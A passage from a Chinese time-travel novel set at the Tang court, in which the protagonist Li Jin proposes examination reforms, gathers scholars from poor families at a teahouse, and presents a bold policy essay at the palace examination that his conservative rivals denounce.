“其二,尚机巧而略德行。” 萧瑀继续道,目光似无意间扫过侍立一旁的李瑾(因其兼将作监少监丞,今日亦在列以备咨询匠作之事),“近来有闻,某些新进之士,或以奇技杂学邀名,或与商贾之流过从甚密,虽得幸进,然其行止颇滋物议。科举取士,首重德行,次及才学。若开此侥幸之门,恐使士子不务正业,专营左道,有伤风化,亦损抡才之公。此二偏也。”
“其三,” 萧瑀语速放缓,却更显沉重,“寒门进身愈艰,请托奔竞之风未息。虽陛下屡下明诏,严禁行卷、通榜,然积弊已久。膏粱子弟,依仗门荫祖泽,交游广阔,其卷易达天听;寒素之士,纵有实学,若无奥援,名卷或沉下僚。此于朝廷广揽英才、以示至公之旨,恐有未合。”
萧瑀这番话,可谓老辣至极。他并未直接攻击李瑾或“周氏工坊”,而是从“科举风气”这个大义名分入手,指出的问题也并非完全虚妄——唐代科举,尤其进士科,确存在重诗赋、请托盛行等弊端。然而,他将“奇技杂学”、“与商贾过从”暗指为“左道”、“侥幸”,又将“寒门进身难”的矛头隐隐指向了现有既得利益集团(包括他自己所属的阶层),实则是一石数鸟:既敲打了李瑾这类凭借“非正统”方式崛起的新贵,又展现了自身“心系寒门”、“关注实学”的“公正”形象,还为可能的政策调整埋下伏笔——任何调整,最终解释权和执行权,依然会落回他们这些熟悉规则的老臣手中。
殿内一时沉寂。于志宁眉头微皱,显然听出了弦外之音。几位宰相、尚书皆垂眸不语。李治的手指在御案上轻轻敲击,若有所思。他自然明白萧瑀的意图,但也承认其所言不无道理。科举乃国之公器,其弊病他也时有耳闻。
“萧卿所言,确为可虑。” 李治缓缓道,“抡才大典,自当以得人为要。然积弊非一日,革除亦需得法。诸卿可有良策?”
于志宁出列道:“陛下,萧相所言诗赋、经义之辩,古已有之。进士科诗赋取士,亦是为选文采俊彦,充任文学侍从、清要之职。经义之学,有明经诸科取士。各有所重,本无不可。然若士子一味追逐浮华,忽略根本,自当申饬学官,加以引导。至于请托奔竞,陛下屡下严旨,御史台、礼部亦当加强纠察。唯寒门进身之难……” 他顿了顿,这涉及更深层的利益格局,非一时可解。
几位大臣也陆续发言,多是在“申饬学官”、“加强监察”、“强调德行”等老生常谈上打转,并未触及核心。
就在议论将要不痛不痒地结束时,一个清朗的声音响起:“陛下,臣有刍荛之见,冒死进言。”
众人望去,却是自入殿后一直沉默的李瑾。只见他出列躬身,神色平静。
萧瑀眼中闪过一丝不易察觉的冷意。于志宁则投来略带担忧的目光。
“李卿但讲无妨。” 李治道。
“谢陛下。” 李瑾直起身,目光坦然,“萧相洞见时弊,所言科举三偏,臣深以为然。然臣以为,病根不在‘诗赋’、‘经义’孰轻孰重,亦非仅‘申饬’、‘监察’可解。症结在于,现今科举取士之‘标’,与朝廷需才之‘的’,有所偏离;选才之‘途’,过于单一;衡才之‘尺’,失之僵化。”
此言一出,众人皆是一愣。这“标”、“的”、“途”、“尺”之说,颇为新颖。
“哦?详细说来。” 李治身体微微前倾。
“陛下,朝廷设科取士,所求为何?非为取能诗善赋之文人,亦非仅取皓首穷经之博士,所求者,乃能佐天子、理万民、安社稷、兴百业之实才。” 李瑾声音清晰,不疾不徐,“然观今日进士科,以诗赋定高下,固然可考其文思才情,然于其是否通晓吏治、明达经济、知晓兵略、乃至明察物理(指自然规律、手工技艺之理),则难以尽考。明经科固重经义,然若只知寻章摘句、训诂考据,于经义中治国安邦之精髓,能否领悟运用,亦是未知。此乃‘标’(考试内容)与‘的’(所需人才)之偏离一也。”
“再者,” 李瑾继续道,“天下才具,各有不同。有长于文章者,有精于吏干者,有通晓律法者,有深谙农桑水利者,乃至有明于器械营造、医药算术者。今以进士、明经等少数科目,欲囊括天下英才,犹如以数张网,欲尽捕江河湖海之所有鱼虾,必有遗珠。此乃选才之‘途’过于单一也。”
“其三,一次考试,数篇诗文,便定终身。其间虽有复试、殿试,然时间短促,难以深察其品行、见识、应变之能。更兼请托、行卷之风,使一次考试之结果,易受场外因素干扰。此乃衡才之‘尺’失之僵化,且易为人所乘也。”
李瑾的分析,层层递进,直指科举制度本身的结构性缺陷,而非仅仅批判风气。这让包括萧瑀在内的许多大臣,都陷入了沉思。他们习惯了在现有框架内修修补补,却少有人如此系统地审视制度本身。
“依你之见,当如何改制?” 李治追问,眼中兴趣更浓。
“臣愚见,改制非为推翻旧制,而在补偏救弊、增途扩容、活尺选才。” 李瑾早有腹稿,从容道来,“可试行三策,相辅相成。”
“第一策,分科取士,各尽其才。于现有进士、明经诸科之外,可增设数科。如明法科,专取通晓律令、能断狱讼之才;明算科,取·精通算术、天文、历法之才;明医科,取通晓医药、可任太医署或地方医官之才;乃至可设明工科(或称‘百工科’),取通晓水利、营造、器械、农具改良等实用技艺之才。诸科并立,由相应衙署(如刑部、司天监、太医署、将作监、司农寺等)参与拟定考试内容、评判标准。如此,则天下有一技之长者,皆可凭实学进身,朝廷亦可收揽各类专业人才,各尽其用。”
增设专科!而且涉及律法、算学、医药、百工!这简直是石破天惊之议!殿中顿时响起一片低低的哗然。许多官员,尤其是清流文官,脸上露出不以为然甚至鄙夷之色。明法、明算、明医倒也罢了,自古有“技术官”传统,然“明工科”?将匠作之术与圣贤之学并列科考?成何体统!
萧瑀冷哼一声:“李少监此言差矣!匠作之术,自有将作监选拔匠户充任。岂可登大雅之堂,与经义文章同列科举?此非淆乱**,褒渎圣学乎?”
李瑾不慌不忙,向萧瑀一拱手:“萧相,管子有云:‘士农工商四民者,国之石民也。’ 匠作,乃国家营造、军械、农具、舟车之本,关乎国计民生、强兵富民。昔日秦以耕战立国,汉以盐铁富邦,岂可轻言‘褒渎’?今朝廷设将作监、少府监、军器监等,统领百工,所制之物,上至宫室礼器,下至兵甲农具,何一事不关国体?然其匠官选拔,多出世袭或荐举,未必能得真才。若设专科,公开考试选拔,使通晓物理、善于创新之巧匠能人,得以凭实学入仕,督领匠作,改良工艺,其于强国利民,岂不胜于空谈文章者百倍?此非淆乱**,实乃正**,使名实相副也。”
他引经据典,将“工”的地位提升到“国之石民”,又以强国利民为号召,一时竟让萧瑀难以直接反驳。
“第二策,” 李瑾不给众人太多思考时间,继续道,“分级考核,注重实效。凡诸科考生,通过州府解试后,至京师,不唯进行一次省试。可增加‘实务策问’或‘现场演示’环节。如明法科,可设案例剖析;明算科,可解实际工程算题;明医科,可辨药材、述症候;明工科,可呈献改良器物图谱、或解说营造原理。省试通过者,再经殿试。殿试亦可不唯诗赋策论,陛下可亲询其专业见解、或观其应对。如此,层层筛选,更重其实学实能,非仅纸上文章。”
“第三策,建立档案,长期观察。及第者授官后,其政绩、发明、著述,由吏部与相应衙署共同记录在档,作为日后升黜重要依据。甚至,可对未第而有专长、或于地方有卓著贡献(如改进农具、兴修水利有效)者,予以‘特科’荐举,由朝廷考核后录用,不使其才埋没。此乃‘活尺’,不以一试定终身,而以长久观其行。”
李瑾将后世公务员考试、专业技能考核、绩效评估等理念,巧妙地融入唐代语境,提出了一个系统性的改革框架。虽然其中许多细节(如明工科的具体考试内容、实务考核如何操作)尚需完善,但整体思路清晰,目标明确——将科举从 primarily 选拔文学官僚的系统,转变为选拔各类治国实干人才的多元化管道。
殿内鸦雀无声。所有人都被李瑾这番大胆而系统的“科举改制议”震撼了。支持者觉得豁然开朗,看到了解决朝廷“所用非所学”困境的希望;反对者则感到极大的威胁,这无疑将动摇他们赖以安身立命的学问特权(尤其是诗文经义)和选拔垄断。
李治的眼中,闪烁着前所未有的亮光。作为皇帝,他太需要能够办实事的人才,也太受制于那些只知空谈、相互倾轧的朝臣。李瑾的建议,简直说到了他的心坎里!尤其是“明工科”、“实务考核”等设想,与他亲眼所见的城南工坊的“实学”与“效率”隐隐契合。若能推行,朝廷可得多少如李瑾(或工坊匠师)般的实干之才?
但他毕竟是皇帝,深知改革之难。他压下心中激荡,看向一直沉吟不语的宰相之首长孙无忌:“司徒,于李瑾此议,以为如何?”
长孙无忌缓缓睁开微阖的双目,目光在李瑾身上停留片刻,方缓缓道:“陛下,李少监所议,志在选拔实才,用心良苦,其言亦不无道理。当今朝廷,确需通晓实务、明于吏治、乃至知晓技艺之干才。然……”
他话锋一转:“科举取士,行之百年,自有其成法,亦关乎天下士子进身之阶、朝廷取士之公。骤然更张,增设多科,变动考核,牵一发而动全身。恐引天下士人惶惑,朝野非议。且诸科如何设立、考什么、如何考、及第者如何授官、与现有官僚如何相处,皆需通盘筹划,非一蹴而就。老臣以为,此议可存而议之,缓而行之。可先命礼部、吏部、秘书省、及诸相关衙署,就李少监所陈,详加研讨,博采众议,拟定详细条陈,再行决断。或可先择一二科,于小范围内试行,观其成效,再议推广。”
老成谋国!长孙无忌既未全盘否定,也未盲目赞同,而是提出了“存议缓行”、“先试后推”的稳妥策略。这既给了皇帝和李瑾面子,也安抚了可能的反对者,更将具体操作拉回了熟悉的官僚程序轨道,由各部衙“研讨”,实际上是将决定权稀释和延后了。
李治听罢,微微颔首。他明白,如此重大的改革,确实急不得。“司徒所言甚是。李瑾。”
“臣在。”
“你今日所奏,颇有见地。着将你所言‘科举改制三策’,详细写成条陈,呈递中书门下。另,关于‘明工科’之设想,你可先与将作监、少府监、司农寺等有司商议,草拟一个更具体的章程,包括考试科目、选拔标准、及第后任用等,一并呈上。朕要细看。”
“臣遵旨!” 李瑾心中一喜。皇帝没有否定,反而让他细化方案,这意味着改革之议已经成功“上达天听”,进入了朝廷的议事流程。至于能否推行、推行多少,那是后续博弈的结果。至少,他成功地将“实学取士”、“专才进用”的理念,正式摆上了台面,撕开了一道口子。
“诸卿,” 李治环视殿中众臣,“科举取士,国之大事。李瑾之议,可供参详。日后议论,当以如何为国选得真才实学为要,勿囿于门户之见、陈腐之规。退朝。”
“臣等恭送陛下!”
退出偏殿,寒风扑面。萧瑀走过李瑾身边时,脚步微微一顿,侧目瞥了他一眼,那目光深邃难测,却再无之前的轻蔑,而是带上了一种看待真正对手的凝重与寒意。李瑾坦然回视,微微躬身。
于志宁走过来,拍了拍李瑾的肩膀,低声道:“今日之言,太大胆,也太急切。不过……说得在理。好自为之。” 语气复杂,既有赞赏,也有忧虑。
李瑾知道,自己今日在朝堂上投下的这颗“科举改制”的石子,激起的波澜绝不会小于之前的“明玻”与“牛痘”。它将触动更根本的利益,引来更凶猛的反扑,但也将为他吸引来真正志同道合、渴望改变的潜在盟友——那些困于现状的寒门才俊、郁郁不得志的专业技术官员、乃至希望王朝更加务实高效的皇帝与部分开明大臣。
他的科举入仕之路,或许将因此而变得与众不同。而这条路上,注定不会平坦。
腊月的阳光,苍白无力。但李瑾的心中,已燃起了一簇足以燎原的星火。这簇火,名为“改制”,更名“实学”。它将照亮他前行的路,也可能,将照亮这个帝国未来的某个方向。
第52章 寒门学子聚
李瑾“科举改制议”引发的朝堂波澜,如同投入冬日冰湖的巨石,表面上被长孙无忌“存而议之、缓而行之”的定调暂时压下了四溅的水花,但其下涌动的暗流与寒气,却悄然渗透、扩散开来。朝会之后数日,无论是公开的朝议、私下的宴集,还是各部衙之间的文书往来,“科举”、“分科”、“实学”、“明工”等字眼,骤然成了长安官场最热门也最敏感的话题。支持者与反对者壁垒分明,争论不休,更多的则是观望与算计。
萧瑀一系的反击迅速而精准。他们不再直接抨击“改制”本身,而是从“祖制不可轻变”、“士心不可动摇”、“**不可淆乱”等大道理入手,发动与萧氏亲近的御史、言官、翰林学士,撰写奏疏、策论,引经据典,痛陈“变更取士之法”可能带来的种种“弊端”:动摇国本、使士子无所适从、让侥幸之徒钻营得利、败坏淳朴学风云云。同时,他们暗中联络国子监、弘文馆、崇文馆中那些以诗赋经义立身、视“杂学”为末技的博士、学士,通过讲学、文会,向年轻的士子们灌输“务本抑末”、“君子不器”的传统观念,试图从舆论和未来的官僚储备上,扼杀“改制”的土壤。
然而,李瑾那番“分科取士、各尽其才、注重实学”的言论,尤其为“明工”、“明法”、“明算”等“杂科”正名的主张,却如同暗夜中的一道惊电,照亮了许多被现行科举制度压抑、排斥的有志之士的心。他们大多出身寒门,或家学渊源不在诗赋经义,或天性喜好钻研实用之学,在“三十老明经,五十少进士”的独木桥上挤得头破血流,却往往因为缺乏显赫门第、丰厚家资延请名儒、或精于“行卷”请托之道,而屡试不第,郁郁不得志。李瑾的提议,为他们打开了一扇前所未有的、可能凭自身“实学”直达天听的窗户!
一时间,李瑾“将作监少监丞、崇文馆直学士、太子右赞善大夫”的官职,以及他“献牛痘”、“献明玻”、“献新纸印刷”、“献改制之议”的“奇能”与“敢言”名声,在长安士林,尤其是那些边缘的、不得志的寒门士子圈中,迅速传扬开来。许多人开始打听这位年轻官员的为人、政见,以及他那惊世骇俗的“改制”之议,究竟有几分实行的可能。
李瑾敏锐地察觉到了这股暗涌的“人气”。他知道,朝堂上的争论短期内难有结果,皇帝和长孙无忌的“缓行”态度,意味着改革将是一场持久战。他不能坐等,必须主动作为,将理念转化为实实在在的“势”。这“势”,不仅仅是在朝堂上获得几位重臣的支持,更需要在下层,在那些未来可能成为官僚体系中坚的年轻士子心中,播下种子,培育认同。他需要自己的“班底”,哪怕现在只是松散的、理念上的认同者。而寒门学子,无疑是最有潜力、也最可能接受他“实学”、“改制”理念的群体。
他没有大张旗鼓地开坛讲学、招揽门客——那样目标太大,容易授人以“结党”、“收买士心”的口实。他选择了更低调、也更有效的方式。
首先,他通过杜铭、许元瑜等好友,以及工坊内一些识文断字的年轻管事,悄然在长安各处的低级旅舍、租赁民房的寒门士子聚集地,散布消息:崇文馆直学士李瑾,为完善“科举分科”及“明工科”具体章程,广求实务之见,凡对农桑、水利、算学、律法、营造、器械、医药等“实学”有心得者,无论是否取得功名,皆可投书于崇仁坊李宅门房,或于每月逢五、逢十之日下午,至城南“周氏工坊”旁的“墨香茶舍”(王掌柜新近盘下、用以接待非官方访客的茶馆)一叙,李氏将亲与晤谈,听取建言,优秀者或可荐于有司,参与相关章程拟订。
消息以口耳相传的方式,在寒门士子中隐秘而迅速地流传。起初,响应者寥寥,多是好奇与怀疑。但李瑾并不着急,每逢约定之日,必准时出现在略显简陋但洁净雅致的“墨香茶舍”二楼雅间,一坐便是两个时辰,或独自读书,或与寥寥前来的访客恳谈。他态度平和,毫无高官架子,对来访者提出的任何关于实务的问题,皆认真倾听,偶尔插言,往往能切中要害,提出些闻所未闻但细思极有道理的新视角。对于“明工科”的设想,他更是耐心解释:并非要士子都去亲手打铁烧窑,而是需要懂得原理、能改进工艺、能管理匠作、能将“奇技”转化为“国力”的“工程师”或“技术官僚”。他引用《考工记》,谈及墨子机关,甚至模糊提及一些海外“格物致知”的理念,让那些原本对“匠作”心存轻视的士子,也开始重新思考“工”的意义。
渐渐地,前来茶舍的人多了起来。有些是真的在算学、水利、医药等方面有一技之长却科举无望的寒士;有些是家境贫寒、一边在书肆抄书或做账房糊口、一边备考的年轻学子;还有些是出身小吏家庭、对律法刑名、钱谷会计有所了解的读书人。他们被李瑾的见识、气度,以及那份似乎真诚地希望“野无遗才”的心意所吸引。茶舍的交谈,也逐渐从最初的拘谨试探,变为热烈的讨论。李瑾并不灌输,更多的是引导、激发、串联。他会提出一个实际问题,如“如何改良水车,使其在低流速河道亦能高效提水?”、“如何计算不同形状粮仓的储粮与损耗?”、“《唐律疏议》中关于‘市舶’的条款,于现今海外贸易有何不足?”,让众人各抒己见,他则在一旁记录、补充、总结,有时也会让随行的工坊匠师(如鲁平、方竹等)带来一些简易模型或实物,辅助讲解。
茶舍的聚会,成了这些寒门士子一个难得的精神家园和思想碰撞的平台。他们在这里,不必因为不善诗赋而自卑,不必因为家世寒微而气短,可以尽情展示自己在“实学”上的见解与才华。李瑾的认可与点拨,给了他们前所未有的信心与方向。更重要的是,他们从李瑾身上,看到了一种不同于传统清流官僚的、务实、开放、重视实效的为政理念。这种理念,与他们渴望改变自身命运、渴望以实学贡献国家的内心诉求,产生了强烈的共鸣。
当然,并非所有人都认同李瑾。也有持正统观念的士子前来辩论,指责其“重末轻本”、“惑乱学统”。李瑾并不动怒,总是心平气和地与之论理,以子之矛攻子之盾,引用历代圣王重农、重工、重商以致富强的例子,阐述“实学”亦是“大学问”,“利用厚生”方是圣人本意。几番辩论下来,虽不能说服所有反对者,但李瑾的博学、机辩与风度,却折服了不少旁观者,也让“实学”理念传播得更广。
随着“墨香茶舍”的名声在特定圈子内越来越响,李瑾开始有意识地观察和筛选其中的人才。他并非要建立严密的私人组织,而是希望形成一个以共同理念和务实精神为纽带的、松散的“学友圈”或“咨议网络”。他让王掌柜暗中资助几位家境特别困难、但确有实学潜质的士子,改善其生活,使其能更专心地钻研学问。同时,他也开始尝试,将茶舍讨论中产生的一些有价值的想法和建议,整理、润色,通过将作监的正常渠道,以“访查所得民间建言”的形式,附在自己的旬报或专项条陈之后,呈递给上司乃至皇帝。虽然大多石沉大海,但也偶有被提及或询问,这让参与讨论的士子们备受鼓舞,觉得自己的见解有了上达天听的可能。
腊月二十,小年。李瑾在“墨香茶舍”举办了一次小范围的“岁末聚谈”,邀请了近两月来往较多、见解较为突出的十余位寒门士子。其中,有精通《九章算术》及天文历算、曾为道士的洛州士子张遂(后世的僧一行,此时尚年轻);有出身刑名小吏之家、对《唐律》及历代刑狱案例如数家珍的京兆士子徐有功(历史上以刚正敢言、精通法令著称);有因家传医术、屡试不第而心灰意冷、在药铺坐堂的岐州士子韦讯(后为名医);还有一位对水利工程极感兴趣、自己绘制过多幅关中渠堰改良图的同州寒士姜师度(历史上以兴修水利著称)。这几人,皆是在各自领域有真才实学,却因科举壁垒而难以出头的典型。
茶香氤氲,炭火温暖。众人围坐,少了平日的拘谨,多了几分熟稔与坦诚。李瑾并未高谈阔论,只是请大家谈谈对来年,对自身,对朝廷的期望。
张遂性格沉静,话语不多,但提及如今司天监所用历法仍有疏漏,观测仪器亦显粗陋,若能改进,于农时、航海大有裨益时,眼中闪烁出执着的光芒。徐有功则直言如今司法实践中“情理”与“法条”时有冲突,胥吏玩法、请托成风,非严明法制、提高法官素养不可。韦讯谈起民间疫病防治之难,药材辨识之乱,感慨良医难得,庸医误人。姜师度则铺开自己绘制的渠图,指划着何处可建新堰,何处旧渠需疏浚,言之凿凿,充满热情。
李瑾静静听着,不时发问,引导他们将问题说得更透,将解决办法想得更具体。最后,他环视众人,缓缓道:“诸位所言,皆切中时弊,亦是利国利民之实学。张兄精于算历,徐兄明于律法,韦兄擅于医药,姜兄熟于水利……此等才学,正是朝廷所需,却困于场屋,不得施展。李某前番‘科举改制’之议,便是想为此等实学,开一道进身之门,使朝廷能得诸位之才,使诸位之才能用于当世。”
他顿了顿,语气更加诚恳:“然改制之难,诸位皆知。非一朝一夕可成。然,道虽迩,不行不至;事虽小,不为不成。李某不才,愿与诸位共勉。于这茶舍之中,我等可继续切磋实学;若有可行之策,李某愿尽力代为上达;若将来真有分科取士之日,愿诸位皆能脱颖而出。即便暂时无门,亦可著书立说,将所学传于后世,或于州县为吏时,以实学惠及一方。总之,莫因一时困顿,便辜负了这一身才学,一腔热血。”
这番话,说到了众人心坎里。他们之所以聚于此,不正是心中那股不甘沉寂的“气”在支撑么?李瑾的理解、鼓励与那看似渺茫却实实在在存在的希望,让他们心中暖流涌动。
“李公(众人已改称公,以示尊敬)所言,我等铭记于心!” 徐有功率先拱手,神情激动,“有功不才,愿追随李公,研习律法,俟时而动!”
“遂亦愿如此!” 张遂郑重道。
韦讯、姜师度等人也纷纷表态。
“追随之言不必提。” 李瑾微笑摆手,“我等以学相交,以道相谋,互为师友即可。今日小聚,愿来年此时,诸位皆能更进一步,学有所用,不负平生。”
聚会尽欢而散。但一种无形的纽带,已在这些寒门才俊与李瑾之间悄然缔结。他们或许还称不上是李瑾的“政治班底”,但已是认同其理念、感激其知遇、并愿意与之同声共气的“同道”与“潜流”。
消息自然无法完全封锁。很快,萧瑀府上便得知了“墨香茶舍”聚谈之事。书房内,萧瑀听着门客的汇报,冷笑一声:“聚拢些不通诗赋的腐儒、匠吏之徒,便以为能成气候?李瑾小儿,到底是年轻气盛,不知朝堂深浅。不过……他既如此热衷‘实学’、‘寒门’,老夫便让他尝尝,什么是真正的‘实学’难行,‘寒门’易折!”
他低声吩咐了几句,门客领命而去。
腊月的寒风,依旧呼啸。但“墨香茶舍”内燃起的理念之火,与悄然凝聚的人心之势,却在这寒冬的长安,种下了一颗充满变数与希望的种子。李瑾的“科举改制”之路,从朝堂的奏对,延伸到了市井的茶舍,延伸到了这些寒门学子的心中。前路依然险阻重重,但同行者,已不再孤单。
第53章 殿试献国策
贞观二十三年冬去春来,万象更新。对天下士子而言,这个春天尤为不同。朝廷于正月颁布制书,宣布今岁常科取士,将依前议“博采众论,稍作更张”,在保留进士、明经诸科旧制的同时,特开“制科”——“洞识韬略、明于吏治、通晓实务”科,由皇帝亲策于殿,不问出身,但以策论实务定高下,及第者优予擢用。制书虽未直接采用“分科”之名,亦未明言“明工”、“明法”,但“通晓实务”四字,已然为那些擅长实学的士子敞开了半扇门扉。消息传出,天下震动,尤其令那些聚于“墨香茶舍”、心怀“实学”的寒门才俊振奋不已。这显然是皇帝在长孙无忌“存而议之、缓而行之”的策略下,做出的一次折中而巧妙的尝试,既回应了李瑾改制之议的呼声,安抚了寒门与务实派,又未完全触动原有科举体系,保留了回旋余地。
制科诏下,举荐、自荐者如云。经过吏部、礼部的初步筛选,及至二月下旬,共有五十余名“通晓实务”的士子获得殿试资格。他们中,有地方干吏,有军中谋士,有精通刑名的幕僚,也有像张遂、徐有功、姜师度这等在李瑾“墨香茶舍”中崭露头角、经于志宁或阎立本等人“风闻”举荐的寒门俊彦。而李瑾本人,因已有将作监少监丞等职,本无需再应制科,但皇帝特旨,言“李瑾既倡改制,当以身试之,朕欲观其策论”,故亦在殿试名单之列。此举无疑将李瑾置于风口浪尖——若其策论平平,则改制之议难免沦为笑谈;若其卓异,则更将坐实其“奇才”之名,亦为改制增添筹码。
殿试之日,设在三月三,上巳佳节。天色未明,获得资格的士子们已齐聚皇城承天门外,经过严密的搜检,鱼贯而入,穿过重重宫阙,最终来到象征帝国最高权力与文治的太极殿前。旭日初升,金碧辉煌的宫殿在晨光中显得庄严肃穆,令人心生敬畏。五十余人分两列,肃立于汉白玉铺就的丹墀之下,屏息静气,等待天子临朝。
辰时正,钟鼓齐鸣,净鞭三响。皇帝李治头戴通天冠,身着绛纱袍,在宫人内侍的簇拥下,升御座。文武百官分列两班。今日殿试,不仅皇帝亲自主持,宰相、六部尚书、侍郎、诸寺监长官,乃至御史台、翰林院要员皆在殿中观礼,阵容之盛,规格之高,远超寻常进士科殿试。萧瑀、于志宁、长孙无忌、褚遂良等重臣赫然在列,目光扫过丹墀下肃立的士子,神色各异。
李瑾站在士子队列中靠前的位置,身着与众人一样的青色襕衫,神色平静,目光清澈。他能感受到无数道目光落在自己身上,有好奇,有审视,有期待,也有隐晦的敌意。他微微吸了口气,让自己沉浸在一种空明的状态中。今日,他不仅仅是为了一场考试,更是要借这个最高舞台,系统地阐述他胸中酝酿已久的、关于这个帝国未来的“国策”构想。
“诸生——” 内侍省高官朗声宣旨,殿试开始。皇帝李治并未多言,只勉励士子“直言无隐,务求实济”,便由主考官(礼部尚书)宣布策论题目。
题目出乎不少人的意料,并非具体政务难题,而是一道极为宏大的设问:“问:方今海内承平,四夷宾服。然朕闻,治大国若烹小鲜,须臾不可懈怠。当此之时,何以固国本、实仓廪、强兵甲、扬国威于万里,使社稷绵长,兆民安乐?尔其悉言无隐,朕将亲览。”
题目之大,几乎涵盖了治国理政的所有方面,却又没有限定具体方向,显然意在考察士子的全局视野、战略眼光与务实对策。这正合李瑾之意。
殿内一片寂静,唯有笔尖划过纸页的沙沙声。李瑾略一思索,提笔蘸墨,在铺开的宣纸上,写下了标题:《固本培元、开源拓疆、文武兼济以成盛世之长策疏》。他没有急于下笔具体内容,而是在心中快速勾勒出整体框架。他要谈的,不仅仅是传统的重农、强兵、任贤,更要融入他超越时代的、关于发展工商、开拓海洋、重视科技、建立可持续财政与人才体系的核心理念。他要将“周氏工坊”的成功经验,放大到整个帝国的层面。
他从“固国本”起笔,但并未局限于传统的“劝课农桑”。他首先肯定农业为国之根基,提出应继续推行均田、兴修水利、推广良种(可设“司农试验田”)、改良农具(如工坊新式钢犁)。然而,他笔锋一转,指出“仓廪之实,非独在粟帛”,“工商亦为本,货殖可富国”。他列举管仲、桑弘羊之策,结合本朝实际,提出:朝廷应改变“重农抑商”之旧念,转而“农商并重,以工促商,以商活农”。具体而言:
其一,设立“市舶使”或强化现有“互市监”职能,专司海外贸易。在广州、泉州、扬州等港口,建造官方主导的大型海船,组织船队,携带丝绸、瓷器、茶叶、书籍、乃至“明玻”等新奇器物,南下南洋、天竺,西通大食、波斯,乃至探索更远航线。以国家力量开拓海外市场,换取香料、珠宝、药材、珍稀木材、乃至海外作物种子、图书典籍。此举可“岁入巨万,补益国用;互通有无,富足百姓;兼可扬威异域,怀柔远人”。
其二,鼓励、规范民间手工业,尤其是“奇技”与新器制造。建议在将作监下设“百工创新署”,专司搜罗、验证、推广民间有益之“奇技巧思”,仿“周氏工坊”例,给予发明者奖赏、专利保护(有限时间内独家制造权),并协助其与官府合作量产。对于玻璃、新纸、改良器械等已见成效之物,应逐步放宽限制,允许民间资本在官府监管下参与生产销售,扩大规模,降低价格,使其惠及更多百姓,同时增加税收。
其三,改革税制,开辟稳定财源。除田赋、户调、徭役等传统收入外,可考虑对利润丰厚的海外贸易、大型矿山(如石炭、金属矿)、盐铁专卖、以及新兴高利行业(如高档琉璃、新纸)课以“商税”或“特别税”,税率需合理,管理需严格,做到“取之有道,用之有度,不与民争利,而国用自饶”。
写到“强兵甲、扬国威”部分,李瑾更是大胆。他主张“兵不在多,而在精;威不在伐,而在慑”。精兵之要,在于装备、训练、后勤。他建议:
一、设立“军器研究署”,隶属于兵部或独立运作,汇聚巧匠,专研军械改良。可利用新炼优质钢材,改进刀剑、弓弩、甲胄;研究火药(此时火药方术已有,但未大规模军用)的军事应用;甚至探索利用“明玻”制作简易望远镜、瞄准镜的可能性。同时,改进军粮储存、运输工具,提升后勤效率。
二、重视水师,经略海洋。指出未来外患,陆上有突厥、吐蕃、高句丽,而海上亦不可不防,且有巨大利益。应扩建沿海水师,建造更大、更坚固、配备改良器械的战船,不仅用于沿海防卫,更可护卫商路,必要时展示武力,维护海上利益。水师官兵需进行航海、天文、海战专门训练。
三、外交与军事并用,开拓“战略边疆”。对周边势力,当分化拉拢,以商利羁縻,以文化柔远,必要时辅以精准打击。目光应放得更远,不仅仅盯着西北、东北陆地,更要关注西南(通印度)、南方海洋(经略南洋)、乃至更广阔的“西海”(印度洋)。可派遣使节、僧侣、商人,携带国书、礼物、商品,远赴诸国,建立联系,绘制海图,了解外情,为长远布局。
最后,他谈到“人才”与“文教”,再次强调了“科举改制”、“分科取士”、“重视实学”的必要性,并建议在国子监增设“算学”、“律学”、“医学”、“工学科”(哪怕先作为选修),系统培养专业人才。同时,倡导“学以致用”风气,鼓励士子关注实务,将学问写在大地上,而非仅仅停留在书斋。
整篇策论,洋洋洒洒数千言,引经据典,数据充实(巧妙引用了工坊的部分数据作为例证),逻辑严密,既有高屋建瓴的战略构想,又有具体可行的实施建议,更充满了面向未来、勇于开拓的进取·精神。其中关于“工商亦为本”、“开拓海洋”、“设立专司鼓励创新”、“改革税制”等观点,在当时无疑是石破天惊,甚至有些“离经叛道”,但每一处都尽量贴合唐代实际,以“强国富民”为最终旨归,让人虽觉震撼,却难以轻易驳倒。
李瑾收笔时,殿内大多士子仍在疾书。他轻轻吹干墨迹,将答卷工整叠好。他知道,自己写下的这些,必将引发朝堂巨震。但他无悔。穿越以来,他小心翼翼地运用知识,积累力量,等待的就是这样一个机会,一个能将胸中沟壑,堂堂正正呈于御前,试图影响这个帝国走向的机会。
交卷后,皇帝并未当廷评议,只令主考官收卷,言三日后于两仪殿召集重臣,共同阅卷定等。
接下来的三日,对李瑾而言,是风暴来临前的平静。他知道,自己的策论内容不可能完全保密,必然已通过某些渠道流传出去,此刻的长安官场,恐怕正为此掀起惊涛骇浪。果然,李福和王掌柜陆续传来消息:萧瑀府上宾客盈门,多位御史、言官正在草拟弹章;国子监几位大儒联名上书,痛斥“与民争利、舍本逐末、蛊惑君心”;某些掌控盐铁、市舶利益的世家,更是对其中“改革税制”、“专营海外”等条深感不安,暗中串联。
然而,也有不同的声音。于志宁、阎立本等人对其中诸多务实之策表示赞赏。一些有见识的中下层官员、将领,尤其是寒门出身的,对“重视实学”、“改良军备”、“开拓利源”等提议颇感兴趣。“墨香茶舍”的张遂、徐有功等人闻听策论大要(李瑾让王掌柜稍作透露),更是激动不已,深感遇到了明主与知己。
三日后,两仪殿。皇帝李治端坐,长孙无忌、褚遂良、于志宁、萧瑀、李勣(兵部尚书)、户部、工部、礼部尚书等重臣环列。数十份殿试策论经过初步筛选,其中最出色的十余份,包括李瑾那份,被呈至御前,由众臣传阅、评议。
当李瑾那份《固本培元……长策疏》在众人手中传阅时,殿内的气氛变得极为诡异。寂静,只有纸张翻动的轻微声响,以及越来越粗重的呼吸声。
萧瑀看完,脸色铁青,手微微颤抖,终于忍不住,第一个出列,声音因激动而有些变调:“陛下!此……此李瑾之策,狂悖之极,祸·国之论!其言‘工商亦为本’,是与千百年来‘重本抑末’之祖训公然相悖!其倡‘开拓海洋’、‘专营海外’,是启边衅、耗国力、与民争利!其议‘改革税制’、‘课商重税’,是盘剥百姓、动摇国本!更遑论其‘设署创新’、‘水师拓疆’之论,看似进取,实为好大喜功,徒耗民脂民膏!陛下,此等言论,若付施行,必致农事荒废,商贾横行,奢靡成风,国库虚耗,边患四起!此乃亡国之音,万不可听!”
他言辞激烈,几乎是指着李瑾的鼻子痛骂。殿中不少保守派大臣纷纷点头附和,出言支持萧瑀,认为李瑾之策“过于奇险”、“不切实际”、“动摇国本”。
然而,这次反对的声音,并非一边倒。
